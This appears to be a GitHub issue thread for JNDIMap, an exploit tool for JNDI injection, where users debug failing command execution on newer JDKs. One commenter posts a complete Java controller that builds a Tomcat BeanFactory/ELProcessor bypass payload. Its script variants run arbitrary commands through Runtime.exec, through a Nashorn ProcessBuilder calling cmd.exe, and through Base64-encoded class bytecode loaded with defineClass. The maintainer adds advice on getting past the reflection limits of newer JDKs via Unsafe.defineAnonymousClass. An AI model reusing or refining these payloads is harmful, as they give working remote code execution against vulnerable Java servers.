X1r0z / JNDIMap

JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式 | A JNDI injection exploit tool that supports RMI and LDAP protocols, including a variety of methods to bypass higher-version JDK
204 stars 17 forks source link

Basic/Command 似乎存在问题 #4

Open whocansee opened 1 month ago

whocansee commented 1 month ago

测试版本:JDK8u66、JDK8u121,Windows,不能执行命令

Carnival-z commented 1 month ago
//发现有时候调用scriptenjen再执行会出现报错
@JNDIMapping("/{cmd}")
public byte[] UnscriptCommand(String cmd) throws Exception {
    byte[] byteArray = cmd.getBytes();
    return byteArray;
}
Carnival-z commented 2 weeks ago

不好意思 我的问题 没有描述清晰 jdk 11.22 中 测试发现报错 Forced String setter eval threw exception for property x image 问题可能是 通过code 通过javascirpt eng 执行可能会出错 image yuan'sheng原生的似乎ok

Carnival-z commented 2 weeks ago

补充 代码如下

package map.jndi.controller.bypass;

import map.jndi.annotation.JNDIController;
import map.jndi.annotation.JNDIMapping;
import map.jndi.controller.BasicController;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.io.UnsupportedEncodingException;

/*
有时候 ScriptEngine 调用的时候无法直接
这个可以调用TomcatBypass/Unscript/calc.exe
将原生的修改为 TomcatBypassScript
 */
@JNDIController
@JNDIMapping("/TomcatBypass0")
public class TomcatBypass0Controller extends BasicController {
    @Override
    public Object process(byte[] byteCode) throws UnsupportedEncodingException {
        //        System.out.printf(str);
        String str = new String(byteCode, "UTF-8");
        String script = "";
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        String script1 = "Runtime.getRuntime().exec(\""+str+"\")";
        String script2 = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/C','"+str+"']).start()\")";
        String script3 = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"Runtime.getRuntime().exec('calc.exe')\")";

        //System.out.println(script2);
        String code = "var bytes = java.util.Base64.getDecoder().decode('yv66vgAAADQAJAoACQAUCgAVABYIABcKABUAGAgAGQcAGgoABgAbBwAcBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABoBAApTb3VyY2VGaWxlAQAHRTEuamF2YQwACgALBwAeDAAfACABAARjYWxjDAAhACIBAAdub3RlcGFkAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIwALAQACRTEBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAgACQAAAAAAAgABAAoACwACAAwAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEADQAAAA4AAwAAAAsABAAMAA0ADQAOAAAABAABAAYACAAPAAsAAQAMAAAATwACAAEAAAASuAACEgW2AARXpwAISyq2AAexAAEAAAAJAAwABgACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABEACgAQAAAABwACTAcAEQQAAQASAAAAAgAT');var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);method.setAccessible(true);var clazz = method.invoke(classLoader, bytes, 0, bytes.length);clazz.newInstance();";
        String script4 = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+code+"\")";
        //这里发现远原生的Runtime  script3可以
        //js执行processbuild可以 案例 script2 可以
        //js执行runtime  案例 script3 不行
        //js 执行 defineclass 的 案例script4 不行
        //js 直接执行
        ref.add(new StringRefAddr("x", script2));
        return ref;

    }
}

image

Carnival-z commented 2 weeks ago

我测试发现 jdk确实很关键 jdk-11.0.22 中不能使用 nashorn 。。。。 image

Warning: Nashorn engine is planned to be removed from a future JDK release
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:340)
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:280)
    at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:198)
    at java.base/java.lang.reflect.Method.setAccessible(Method.java:192)
    at jdk.scripting.nashorn.scripts/jdk.nashorn.internal.scripts.Script$Recompilation$7$\^eval\_$cu1$restOf.:program(<eval>:1)
    at jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunctionData.invoke(ScriptFunctionData.java:655)
    at jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke(ScriptFunction.java:513)
    at jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptRuntime.apply(ScriptRuntime.java:527)
    at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:456)
    at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:413)
    at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:409)
    at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.eval(NashornScriptEngine.java:162)
    at java.scripting/javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:264)
    at test.A1.main(A1.java:23)
X1r0z commented 2 weeks ago

看了下, 需要绕过高版本 JDK 反射的限制, 或者直接反射调用 Unsafe.defineAnonymousClass, 可以先参考: https://github.com/yzddmr6/Java-Js-Engine-Payloads https://github.com/knownsec/KCon/blob/master/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf

我这边期末周了, 晚点会修复